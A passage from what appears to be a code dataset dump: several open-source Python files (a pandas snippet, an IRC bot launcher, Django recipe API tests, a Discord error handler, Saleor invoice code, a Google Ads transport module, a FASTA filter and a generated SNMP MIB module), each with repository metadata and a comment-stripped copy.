import pandas as pd import numpy as np df = pd.DataFrame(np.random.randn(10,3),columns=['a','b','c'],index=list('abcdefghij')) print(df) df.ix[::2,0] = np.nan; df.ix[::4,1] = np.nan; df.ix[::3,2] = np.nan; df = df.dropna(subset=['a','b']) #mid delete rows where df['htm3']==na bins = np.arange(-3,3,0.1) bins = [-100,0,100] indices = np.digitize(df.a,bins) ''' bins代表若干连续的区间0:[-1,2),1:[2,7),2:[7,9),3:[9,10),用数组表示为：[-1,2,7,9,10] np.digitize()函数生成一列数，对应位置的值表示参数一对应值在bins中所属区段的编号。 ''' groups = df.groupby(indices) print('#'*20) for i,group in groups: print(i,len(group)) print(group) print('#'*20) print(groups.mean())

26.25

87

0.631746

import pandas as pd import numpy as np df = pd.DataFrame(np.random.randn(10,3),columns=['a','b','c'],index=list('abcdefghij')) print(df) df.ix[::2,0] = np.nan; df.ix[::4,1] = np.nan; df.ix[::3,2] = np.nan; df = df.dropna(subset=['a','b']) bins = np.arange(-3,3,0.1) bins = [-100,0,100] indices = np.digitize(df.a,bins) groups = df.groupby(indices) print('#'*20) for i,group in groups: print(i,len(group)) print(group) print('#'*20) print(groups.mean())

true

790afc2450ce2af23351778162b454ecb9eac51c

1,375

py

Python

__init__.py

wolfy1339/Kenni

5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f

[ "EFL-2.0" ]

null

__init__.py

wolfy1339/Kenni

5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f

[ "EFL-2.0" ]

null

__init__.py

wolfy1339/Kenni

5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f

[ "EFL-2.0" ]

null

#!/usr/bin/env python3 import sys, os, time, threading, signal import bot class Watcher(object): # Cf. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/496735 def __init__(self): self.child = os.fork() if self.child != 0: self.watch() def watch(self): try: os.wait() except KeyboardInterrupt: self.kill() sys.exit() def kill(self): try: os.kill(self.child, signal.SIGKILL) except OSError: pass def run_kenni(config): if hasattr(config, 'delay'): delay = config.delay else: delay = 20 def connect(config): p = bot.kenni(config) p.use_ssl = config.ssl p.use_sasl = config.sasl p.run(config.host, config.port) try: Watcher() except Exception as e: print('Warning:', e, '(in __init__.py)', file=sys.stderr) while True: try: connect(config) except KeyboardInterrupt: sys.exit() if not isinstance(delay, int): break warning = 'Warning: Disconnected. Reconnecting in %s seconds...' % delay print(warning, file=sys.stderr) time.sleep(delay) def run(config): t = threading.Thread(target=run_kenni, args=(config,)) if hasattr(t, 'run'): t.run() else: t.start() if __name__ == '__main__': print(__doc__)

24.122807

80

0.584

import sys, os, time, threading, signal import bot class Watcher(object): def __init__(self): self.child = os.fork() if self.child != 0: self.watch() def watch(self): try: os.wait() except KeyboardInterrupt: self.kill() sys.exit() def kill(self): try: os.kill(self.child, signal.SIGKILL) except OSError: pass def run_kenni(config): if hasattr(config, 'delay'): delay = config.delay else: delay = 20 def connect(config): p = bot.kenni(config) p.use_ssl = config.ssl p.use_sasl = config.sasl p.run(config.host, config.port) try: Watcher() except Exception as e: print('Warning:', e, '(in __init__.py)', file=sys.stderr) while True: try: connect(config) except KeyboardInterrupt: sys.exit() if not isinstance(delay, int): break warning = 'Warning: Disconnected. Reconnecting in %s seconds...' % delay print(warning, file=sys.stderr) time.sleep(delay) def run(config): t = threading.Thread(target=run_kenni, args=(config,)) if hasattr(t, 'run'): t.run() else: t.start() if __name__ == '__main__': print(__doc__)

true

790afd1d19d32dd258ab61a4b68347d143f85086

6,633

py

Python

app/recipe/tests/test_recipe_api.py

jamie-chapman/django-exercise-recipe-app

0ad569c747ca3dc538dbda1d1035a2d2c438f43b

[ "MIT" ]

null

app/recipe/tests/test_recipe_api.py

jamie-chapman/django-exercise-recipe-app

0ad569c747ca3dc538dbda1d1035a2d2c438f43b

[ "MIT" ]

null

app/recipe/tests/test_recipe_api.py

jamie-chapman/django-exercise-recipe-app

0ad569c747ca3dc538dbda1d1035a2d2c438f43b

[ "MIT" ]

null

from django.test import TestCase from django.urls import reverse from rest_framework.test import APIClient from rest_framework import status from core.models import Recipe, Ingredient RECIPE_URL = reverse('recipe:recipe-list') def recipe_url(id): """Construct URL for a single recipe based on its ID""" return reverse('recipe:recipe-detail', args=[id]) def create_sample_recipe(**params): """Helper function to create a user""" return Recipe.objects.create(**params) class RecipeAPITests(TestCase): def setUp(self): self.client = APIClient() def test_create_recipe_with_ingredients(self): """Test creating a recipe including ingredients""" payload = { 'name': 'Vegan Roast Dinner', 'description': 'Roasted potatoes and mushroom wellington' ' with vegetables and gravy.', 'ingredients': [ {'name': 'carrots'}, {'name': 'potatoes'}, {'name': 'mushrooms'}, ] } response = self.client.post(RECIPE_URL, payload, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual( payload['name'], Recipe.objects.get(id=response.data['id']).name ) self.assertEquals( len(response.data['ingredients']), len(payload['ingredients']) ) def test_get_recipes(self): """Test retrieving a recipe""" create_sample_recipe( name='Roast Dinner', description='Roasted potatoes and chicken' ' with vegetables and gravy.' ) create_sample_recipe( name='Beans on Toast', description='Just the best.' ) response = self.client.get(RECIPE_URL) recipes = Recipe.objects.all().order_by('-name') self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(response.data), len(recipes)) def test_get_recipe(self): """Test retrieving a single recipe using name as filter""" test_recipe_name = 'Beans on Toast' create_sample_recipe( name='Roast Dinner', description='Roasted potatoes and chicken' ' with vegetables and gravy.' ) create_sample_recipe( name=test_recipe_name, description='Just the best recipe.' ) response = self.client.get(RECIPE_URL, {'name': test_recipe_name}) recipes = Recipe.objects.all().order_by('-name') self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertNotEqual(len(response.data), len(recipes)) self.assertEqual(response.data[0]['name'], test_recipe_name) def test_update_recipe(self): """Test updating a recipe""" self.recipe = create_sample_recipe( name='Roast Dinner', description='Roasted potatoes and chicken' ' with vegetables and gravy.' ) payload = { 'name': 'Vegan Roast Dinner', 'description': 'Roasted potatoes and mushroom wellington' ' with vegetables and gravy.' } response = self.client.patch( recipe_url(self.recipe.id), payload, format='json' ) self.recipe.refresh_from_db() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(self.recipe.name, response.data['name']) self.assertEqual(self.recipe.description, response.data['description']) def test_delete_recipe(self): """Test deleting a recipe""" self.recipe = create_sample_recipe( name='Carrot Cake', description='Sponge cake with hella carrots.' ) response = self.client.delete( recipe_url(self.recipe.id), format='json' ) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertFalse(Recipe.objects.all()) def test_get_recipes_with_ingredients(self): """Test retrieving a recipe including ingredients""" self.recipe = create_sample_recipe( name='Carrot Cake', description='Sponge cake with hella carrots.' ) Ingredient.objects.create(name='Carrots', recipe=self.recipe) Ingredient.objects.create(name='Icing Sugar', recipe=self.recipe) response = self.client.get(RECIPE_URL) ingredients = Ingredient.objects.all() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEquals( len(response.data[0]['ingredients']), len(ingredients) ) def test_update_recipe_ingredients(self): """Test updating a recipe with ingredients included""" self.recipe = create_sample_recipe( name='Roast Dinner', description='Roasted potatoes and chicken' ' with vegetables and gravy.' ) payload = { 'name': 'Vegan Roast Dinner', 'description': 'Roasted potatoes and mushroom wellington' ' with vegetables and gravy.', 'ingredients': [ {'name': 'carrots'}, {'name': 'potatoes'}, {'name': 'mushrooms'}, ] } response = self.client.patch( recipe_url(self.recipe.id), payload, format='json' ) self.recipe.refresh_from_db() ingredients = Ingredient.objects.all() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(ingredients), len(payload['ingredients'])) self.assertEqual(ingredients[0].recipe.name, payload['name']) def test_delete_recipe_with_ingredients(self): """Test deleting a recipe with ingredients included""" self.recipe = create_sample_recipe( name='Carrot Cake', description='Sponge cake with hella carrots.' ) Ingredient.objects.create(name='Carrots', recipe=self.recipe) Ingredient.objects.create(name='Icing Sugar', recipe=self.recipe) response = self.client.delete( recipe_url(self.recipe.id), format='json' ) ingredients = Ingredient.objects.all() self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertFalse(Recipe.objects.all()) self.assertFalse(len(ingredients), 0)

31.889423

79

0.599276

from django.test import TestCase from django.urls import reverse from rest_framework.test import APIClient from rest_framework import status from core.models import Recipe, Ingredient RECIPE_URL = reverse('recipe:recipe-list') def recipe_url(id): return reverse('recipe:recipe-detail', args=[id]) def create_sample_recipe(**params): return Recipe.objects.create(**params) class RecipeAPITests(TestCase): def setUp(self): self.client = APIClient() def test_create_recipe_with_ingredients(self): payload = { 'name': 'Vegan Roast Dinner', 'description': 'Roasted potatoes and mushroom wellington' ' with vegetables and gravy.', 'ingredients': [ {'name': 'carrots'}, {'name': 'potatoes'}, {'name': 'mushrooms'}, ] } response = self.client.post(RECIPE_URL, payload, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual( payload['name'], Recipe.objects.get(id=response.data['id']).name ) self.assertEquals( len(response.data['ingredients']), len(payload['ingredients']) ) def test_get_recipes(self): create_sample_recipe( name='Roast Dinner', description='Roasted potatoes and chicken' ' with vegetables and gravy.' ) create_sample_recipe( name='Beans on Toast', description='Just the best.' ) response = self.client.get(RECIPE_URL) recipes = Recipe.objects.all().order_by('-name') self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(response.data), len(recipes)) def test_get_recipe(self): test_recipe_name = 'Beans on Toast' create_sample_recipe( name='Roast Dinner', description='Roasted potatoes and chicken' ' with vegetables and gravy.' ) create_sample_recipe( name=test_recipe_name, description='Just the best recipe.' ) response = self.client.get(RECIPE_URL, {'name': test_recipe_name}) recipes = Recipe.objects.all().order_by('-name') self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertNotEqual(len(response.data), len(recipes)) self.assertEqual(response.data[0]['name'], test_recipe_name) def test_update_recipe(self): self.recipe = create_sample_recipe( name='Roast Dinner', description='Roasted potatoes and chicken' ' with vegetables and gravy.' ) payload = { 'name': 'Vegan Roast Dinner', 'description': 'Roasted potatoes and mushroom wellington' ' with vegetables and gravy.' } response = self.client.patch( recipe_url(self.recipe.id), payload, format='json' ) self.recipe.refresh_from_db() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(self.recipe.name, response.data['name']) self.assertEqual(self.recipe.description, response.data['description']) def test_delete_recipe(self): self.recipe = create_sample_recipe( name='Carrot Cake', description='Sponge cake with hella carrots.' ) response = self.client.delete( recipe_url(self.recipe.id), format='json' ) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertFalse(Recipe.objects.all()) def test_get_recipes_with_ingredients(self): self.recipe = create_sample_recipe( name='Carrot Cake', description='Sponge cake with hella carrots.' ) Ingredient.objects.create(name='Carrots', recipe=self.recipe) Ingredient.objects.create(name='Icing Sugar', recipe=self.recipe) response = self.client.get(RECIPE_URL) ingredients = Ingredient.objects.all() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEquals( len(response.data[0]['ingredients']), len(ingredients) ) def test_update_recipe_ingredients(self): self.recipe = create_sample_recipe( name='Roast Dinner', description='Roasted potatoes and chicken' ' with vegetables and gravy.' ) payload = { 'name': 'Vegan Roast Dinner', 'description': 'Roasted potatoes and mushroom wellington' ' with vegetables and gravy.', 'ingredients': [ {'name': 'carrots'}, {'name': 'potatoes'}, {'name': 'mushrooms'}, ] } response = self.client.patch( recipe_url(self.recipe.id), payload, format='json' ) self.recipe.refresh_from_db() ingredients = Ingredient.objects.all() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(ingredients), len(payload['ingredients'])) self.assertEqual(ingredients[0].recipe.name, payload['name']) def test_delete_recipe_with_ingredients(self): self.recipe = create_sample_recipe( name='Carrot Cake', description='Sponge cake with hella carrots.' ) Ingredient.objects.create(name='Carrots', recipe=self.recipe) Ingredient.objects.create(name='Icing Sugar', recipe=self.recipe) response = self.client.delete( recipe_url(self.recipe.id), format='json' ) ingredients = Ingredient.objects.all() self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertFalse(Recipe.objects.all()) self.assertFalse(len(ingredients), 0)

true

790afdca3defef0b96aa368a82626bcd7132e02d

4,324

py

Python

cogs/errorhandler.py

ZackHart2400/miso-bot

bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83

[ "MIT" ]

null

cogs/errorhandler.py

ZackHart2400/miso-bot

bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83

[ "MIT" ]

null

cogs/errorhandler.py

ZackHart2400/miso-bot

bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83

[ "MIT" ]

null

import traceback import discord import asyncio from discord.ext import commands, flags from helpers import exceptions, log, utilityfunctions as util from data import database as db logger = log.get_logger(__name__) command_logger = log.get_logger("commands") class Events(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_command_error(self, ctx, error): """The event triggered when an error is raised while invoking a command.""" if hasattr(ctx.command, "on_error"): return error = getattr(error, "original", error) if isinstance(error, commands.CommandNotFound): return if isinstance(error, commands.MissingRequiredArgument): return await util.send_command_help(ctx) command_logger.error( f'{type(error).__name__:25} > {ctx.guild} ? {ctx.author} "{ctx.message.content}" > {error}' ) if isinstance(error, util.ErrorMessage): return await ctx.send(str(error)) if isinstance(error, commands.MissingPermissions): perms = ", ".join(f"`{x}`" for x in error.missing_perms) return await ctx.send( f":warning: You require {perms} permission to use this command!" ) elif isinstance(error, commands.BotMissingPermissions): perms = ", ".join(f"`{x}`" for x in error.missing_perms) return await ctx.send( f":warning: Cannot execute command! Bot is missing permission {perms}" ) elif isinstance(error, commands.CommandOnCooldown): if db.is_patron(ctx.author.id, (2, 3)): return await ctx.reinvoke() else: return await ctx.send( f":hourglass: This command is on a cooldown! (`{error.retry_after:.2f}s` remaining)" ) elif isinstance(error, commands.DisabledCommand): await ctx.send(f":warning: `{ctx.command}` has been disabled!") elif isinstance(error, commands.NoPrivateMessage): await ctx.author.send( ":warning: You cannot use this command in private messages" ) elif isinstance(error, util.PatronCheckFailure): await ctx.send(":no_entry: Support me on patreon to use this command! <https://patreon.com/joinemm>") elif isinstance(error, (commands.NotOwner, commands.CheckFailure)): await ctx.send( ":warning: Sorry, you are not authorized to use this command!" ) elif isinstance(error, exceptions.BlacklistTrigger): if error.blacklist_type == "command": message = "This command has been blacklisted by the server moderators" elif error.blacklist_type == "channel": message = "Command usage on this channel has been blacklisted by the server moderators" elif error.blacklist_type == "user": message = "You have been blacklisted from using commands by the server moderators" elif error.blacklist_type == "global": message = "You have been blacklisted from using Miso Bot" delete = error.do_delete await ctx.send( f":no_entry_sign: `{message}`", delete_after=(5 if delete else None) ) if delete: await asyncio.sleep(5) await ctx.message.delete() elif isinstance(error, (commands.BadArgument, flags._parser.ArgumentParsingError)): await ctx.send(f"```{str(error)}```") elif isinstance(error, discord.errors.Forbidden): try: await ctx.send(f"```{str(error)}```") except discord.errors.Forbidden: try: await ctx.message.add_reaction("🙊") except discord.errors.Forbidden: logger.error(str(error)) elif isinstance(error, exceptions.LastFMError): await ctx.send(f"```{str(error)}```") else: traceback.print_exception(type(error), error, error.__traceback__) await ctx.send(f"```\n{type(error).__name__}: {str(error)}```") def setup(bot): bot.add_cog(Events(bot))

37.929825

113

0.598289

import traceback import discord import asyncio from discord.ext import commands, flags from helpers import exceptions, log, utilityfunctions as util from data import database as db logger = log.get_logger(__name__) command_logger = log.get_logger("commands") class Events(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_command_error(self, ctx, error): if hasattr(ctx.command, "on_error"): return error = getattr(error, "original", error) if isinstance(error, commands.CommandNotFound): return if isinstance(error, commands.MissingRequiredArgument): return await util.send_command_help(ctx) command_logger.error( f'{type(error).__name__:25} > {ctx.guild} ? {ctx.author} "{ctx.message.content}" > {error}' ) if isinstance(error, util.ErrorMessage): return await ctx.send(str(error)) if isinstance(error, commands.MissingPermissions): perms = ", ".join(f"`{x}`" for x in error.missing_perms) return await ctx.send( f":warning: You require {perms} permission to use this command!" ) elif isinstance(error, commands.BotMissingPermissions): perms = ", ".join(f"`{x}`" for x in error.missing_perms) return await ctx.send( f":warning: Cannot execute command! Bot is missing permission {perms}" ) elif isinstance(error, commands.CommandOnCooldown): if db.is_patron(ctx.author.id, (2, 3)): return await ctx.reinvoke() else: return await ctx.send( f":hourglass: This command is on a cooldown! (`{error.retry_after:.2f}s` remaining)" ) elif isinstance(error, commands.DisabledCommand): await ctx.send(f":warning: `{ctx.command}` has been disabled!") elif isinstance(error, commands.NoPrivateMessage): await ctx.author.send( ":warning: You cannot use this command in private messages" ) elif isinstance(error, util.PatronCheckFailure): await ctx.send(":no_entry: Support me on patreon to use this command! <https://patreon.com/joinemm>") elif isinstance(error, (commands.NotOwner, commands.CheckFailure)): await ctx.send( ":warning: Sorry, you are not authorized to use this command!" ) elif isinstance(error, exceptions.BlacklistTrigger): if error.blacklist_type == "command": message = "This command has been blacklisted by the server moderators" elif error.blacklist_type == "channel": message = "Command usage on this channel has been blacklisted by the server moderators" elif error.blacklist_type == "user": message = "You have been blacklisted from using commands by the server moderators" elif error.blacklist_type == "global": message = "You have been blacklisted from using Miso Bot" delete = error.do_delete await ctx.send( f":no_entry_sign: `{message}`", delete_after=(5 if delete else None) ) if delete: await asyncio.sleep(5) await ctx.message.delete() elif isinstance(error, (commands.BadArgument, flags._parser.ArgumentParsingError)): await ctx.send(f"```{str(error)}```") elif isinstance(error, discord.errors.Forbidden): try: await ctx.send(f"```{str(error)}```") except discord.errors.Forbidden: try: await ctx.message.add_reaction("🙊") except discord.errors.Forbidden: logger.error(str(error)) elif isinstance(error, exceptions.LastFMError): await ctx.send(f"```{str(error)}```") else: traceback.print_exception(type(error), error, error.__traceback__) await ctx.send(f"```\n{type(error).__name__}: {str(error)}```") def setup(bot): bot.add_cog(Events(bot))

true

790afdcdd7b5cfeedf70ea27145720e97263e4f9

1,445

py

Python

saleor/invoice/notifications.py

nestfiy/saleor

6fce3bc5c0ca72ac28db99553e6d2b49249c6dac

[ "CC-BY-4.0" ]

1,392

2021-10-06T15:54:28.000Z

2022-03-31T20:50:55.000Z

saleor/invoice/notifications.py

nestfiy/saleor

6fce3bc5c0ca72ac28db99553e6d2b49249c6dac

[ "CC-BY-4.0" ]

888

2021-10-06T10:48:54.000Z

2022-03-31T11:00:30.000Z

saleor/invoice/notifications.py

nestfiy/saleor

6fce3bc5c0ca72ac28db99553e6d2b49249c6dac

[ "CC-BY-4.0" ]

538

2021-10-07T16:21:27.000Z

2022-03-31T22:58:57.000Z

from typing import TYPE_CHECKING, Optional from ..core.notification.utils import get_site_context from ..core.notify_events import NotifyEventType from ..graphql.core.utils import to_global_id_or_none if TYPE_CHECKING: from ..account.models import User from ..app.models import App from ..plugins.manager import PluginsManager from .models import Invoice def get_invoice_payload(invoice): return { "id": to_global_id_or_none(invoice), "number": invoice.number, "download_url": invoice.url, "order_id": to_global_id_or_none(invoice.order), } def send_invoice( invoice: "Invoice", staff_user: "User", app: Optional["App"], manager: "PluginsManager", ): """Send an invoice to user of related order with URL to download it.""" payload = { "invoice": get_invoice_payload(invoice), "recipient_email": invoice.order.get_customer_email(), # type: ignore "requester_user_id": to_global_id_or_none(staff_user), "requester_app_id": to_global_id_or_none(app) if app else None, **get_site_context(), } channel_slug = None if invoice.order and invoice.order.channel: channel_slug = invoice.order.channel.slug manager.notify( NotifyEventType.INVOICE_READY, payload, channel_slug=channel_slug ) # type: ignore manager.invoice_sent(invoice, invoice.order.get_customer_email()) # type: ignore

32.111111

85

0.703806

from typing import TYPE_CHECKING, Optional from ..core.notification.utils import get_site_context from ..core.notify_events import NotifyEventType from ..graphql.core.utils import to_global_id_or_none if TYPE_CHECKING: from ..account.models import User from ..app.models import App from ..plugins.manager import PluginsManager from .models import Invoice def get_invoice_payload(invoice): return { "id": to_global_id_or_none(invoice), "number": invoice.number, "download_url": invoice.url, "order_id": to_global_id_or_none(invoice.order), } def send_invoice( invoice: "Invoice", staff_user: "User", app: Optional["App"], manager: "PluginsManager", ): payload = { "invoice": get_invoice_payload(invoice), "recipient_email": invoice.order.get_customer_email(), "requester_user_id": to_global_id_or_none(staff_user), "requester_app_id": to_global_id_or_none(app) if app else None, **get_site_context(), } channel_slug = None if invoice.order and invoice.order.channel: channel_slug = invoice.order.channel.slug manager.notify( NotifyEventType.INVOICE_READY, payload, channel_slug=channel_slug ) manager.invoice_sent(invoice, invoice.order.get_customer_email())

true

790aff716ab055d6948c46123148d87a7e4705e8

1,069

py

Python

google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py

wxxlouisa/google-ads-python

f24137966f6bfcb765a9b1fae79f2d23041825fe

[ "Apache-2.0" ]

285

2018-10-05T16:47:58.000Z

2022-03-31T00:58:39.000Z

google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py

wxxlouisa/google-ads-python

f24137966f6bfcb765a9b1fae79f2d23041825fe

[ "Apache-2.0" ]

425

2018-09-10T13:32:41.000Z

2022-03-31T14:50:05.000Z

google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py

wxxlouisa/google-ads-python

f24137966f6bfcb765a9b1fae79f2d23041825fe

[ "Apache-2.0" ]

369

2018-11-28T07:01:00.000Z

2022-03-28T09:53:22.000Z

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from collections import OrderedDict from typing import Dict, Type from .base import HotelGroupViewServiceTransport from .grpc import HotelGroupViewServiceGrpcTransport # Compile a registry of transports. _transport_registry = ( OrderedDict() ) # type: Dict[str, Type[HotelGroupViewServiceTransport]] _transport_registry["grpc"] = HotelGroupViewServiceGrpcTransport __all__ = ( "HotelGroupViewServiceTransport", "HotelGroupViewServiceGrpcTransport", )

31.441176

74

0.77362

from collections import OrderedDict from typing import Dict, Type from .base import HotelGroupViewServiceTransport from .grpc import HotelGroupViewServiceGrpcTransport _transport_registry = ( OrderedDict() ) _transport_registry["grpc"] = HotelGroupViewServiceGrpcTransport __all__ = ( "HotelGroupViewServiceTransport", "HotelGroupViewServiceGrpcTransport", )

true

790aff9d5310c04a944f7830aa3dbdbd7daeda78

467

py

Python

filter_contigs.py

MullinsLab/HHV8-assembly-SPades

74f5853bd1e7c1af7f306343ebcd9ac919fda92f

[ "MIT" ]

7

2016-10-05T23:43:33.000Z

2021-07-06T18:36:41.000Z

filter_contigs.py

MullinsLab/HHV8-assembly-SPades

74f5853bd1e7c1af7f306343ebcd9ac919fda92f

[ "MIT" ]

1

2015-11-25T07:14:24.000Z

2016-01-28T15:07:41.000Z

filter_contigs.py

MullinsLab/HHV8-assembly-SPades

74f5853bd1e7c1af7f306343ebcd9ac919fda92f

[ "MIT" ]

4

2016-10-11T17:34:51.000Z

2020-03-16T14:26:36.000Z

#!/usr/bin/env python import sys from Bio import SeqIO min_length, fasta_file_path = sys.argv[1:] with open(fasta_file_path.replace('fa', 'filter{}.fa'.format(min_length)), 'w') as filtered_fasta: with open(fasta_file_path, 'rU') as input_fasta: def filtered_contigs_generator(min): for contig in SeqIO.parse(input_fasta, 'fasta'): if len(contig) >= min: yield contig SeqIO.write(filtered_contigs_generator(int(min_length)), filtered_fasta, 'fasta')

38.916667

98

0.745182

import sys from Bio import SeqIO min_length, fasta_file_path = sys.argv[1:] with open(fasta_file_path.replace('fa', 'filter{}.fa'.format(min_length)), 'w') as filtered_fasta: with open(fasta_file_path, 'rU') as input_fasta: def filtered_contigs_generator(min): for contig in SeqIO.parse(input_fasta, 'fasta'): if len(contig) >= min: yield contig SeqIO.write(filtered_contigs_generator(int(min_length)), filtered_fasta, 'fasta')

true

790affc4694b91c99c2711674937cfa282c5fc8f

25,716

py

Python

pysnmp-with-texts/INT-SERV-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

[ "Apache-2.0" ]

8

2019-05-09T17:04:00.000Z

2021-06-09T06:50:51.000Z

pysnmp-with-texts/INT-SERV-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

[ "Apache-2.0" ]

4

2019-05-31T16:42:59.000Z

2020-01-31T21:57:17.000Z

pysnmp-with-texts/INT-SERV-MIB.py

agustinhenze/mibs.snmplabs.com

1fc5c07860542b89212f4c8ab807057d9a9206c7

[ "Apache-2.0" ]

10

2019-04-30T05:51:36.000Z

2022-02-16T03:33:41.000Z

# # PySNMP MIB module INT-SERV-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/INT-SERV-MIB # Produced by pysmi-0.3.4 at Wed May 1 12:18:45 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueRangeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection", "ValueSizeConstraint") InterfaceIndex, ifIndex = mibBuilder.importSymbols("IF-MIB", "InterfaceIndex", "ifIndex") ModuleCompliance, ObjectGroup, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "ObjectGroup", "NotificationGroup") MibScalar, MibTable, MibTableRow, MibTableColumn, Counter64, Counter32, IpAddress, ModuleIdentity, Unsigned32, MibIdentifier, NotificationType, Integer32, TimeTicks, Bits, mib_2, iso, Gauge32, ObjectIdentity = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Counter64", "Counter32", "IpAddress", "ModuleIdentity", "Unsigned32", "MibIdentifier", "NotificationType", "Integer32", "TimeTicks", "Bits", "mib-2", "iso", "Gauge32", "ObjectIdentity") DisplayString, TruthValue, RowStatus, TestAndIncr, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TruthValue", "RowStatus", "TestAndIncr", "TextualConvention") intSrv = ModuleIdentity((1, 3, 6, 1, 2, 1, 52)) if mibBuilder.loadTexts: intSrv.setLastUpdated('9710030642Z') if mibBuilder.loadTexts: intSrv.setOrganization('IETF Integrated Services Working Group') if mibBuilder.loadTexts: intSrv.setContactInfo(' Fred Baker Postal: Cisco Systems 519 Lado Drive Santa Barbara, California 93111 Tel: +1 805 681 0115 E-Mail: fred@cisco.com John Krawczyk Postal: ArrowPoint Communications 235 Littleton Road Westford, Massachusetts 01886 Tel: +1 508 692 5875 E-Mail: jjk@tiac.net') if mibBuilder.loadTexts: intSrv.setDescription('The MIB module to describe the Integrated Services Protocol') intSrvObjects = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 1)) intSrvGenObjects = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 2)) intSrvNotifications = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 3)) intSrvConformance = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 4)) class SessionNumber(TextualConvention, Integer32): description = 'The Session Number convention is used for numbers identifying sessions or saved PATH or RESV information. It is a number in the range returned by a TestAndIncr variable, having no protocol meaning whatsoever but serving instead as simple identifier. The alternative was a very complex instance or instance object that became unwieldy.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) class Protocol(TextualConvention, Integer32): description = 'The value of the IP Protocol field of an IP Datagram Header. This identifies the protocol layer above IP. For example, the value 6 is used for TCP and the value 17 is used for UDP. The values of this field are defined in the As- signed Numbers RFC.' status = 'current' displayHint = 'd' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 255) class SessionType(TextualConvention, Integer32): description = "The value of the C-Type field of a Session ob- ject, as defined in the RSVP specification. This value determines the lengths of octet strings and use of certain objects such as the 'port' variables. If the C-Type calls for an IP6 address, one would expect all source, des- tination, and next/previous hop addresses to be 16 bytes long, and for the ports to be UDP/TCP port numbers, for example." status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 255) class Port(TextualConvention, OctetString): description = 'The value of the UDP or TCP Source or Destina- tion Port field, a virtual destination port or generalized port identifier used with the IPSEC Authentication Header or Encapsulating Security Payload, or other session discriminator. If it is not used, the value should be of length 0. This pair, when coupled with the IP Addresses of the source and destination system and the IP protocol field, uniquely identifies a data stream.' status = 'current' displayHint = 'd' subtypeSpec = OctetString.subtypeSpec + ValueSizeConstraint(2, 4) class MessageSize(TextualConvention, Integer32): description = 'The size of a message in bytes. This is used to specify the minimum and maximum size of a message along an integrated services route.' status = 'current' displayHint = 'd' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) class BitRate(TextualConvention, Integer32): description = 'The rate, in bits/second, that data may move in the context. Applicable contexts minimally include the speed of an interface or virtual circuit, the data rate of a (potentially aggre- gated) data flow, or the data rate to be allo- cated for use by a flow.' status = 'current' displayHint = 'd' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) class BurstSize(TextualConvention, Integer32): description = 'The number of octets of IP Data, including IP Headers, that a stream may send without concern for policing.' status = 'current' displayHint = 'd' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 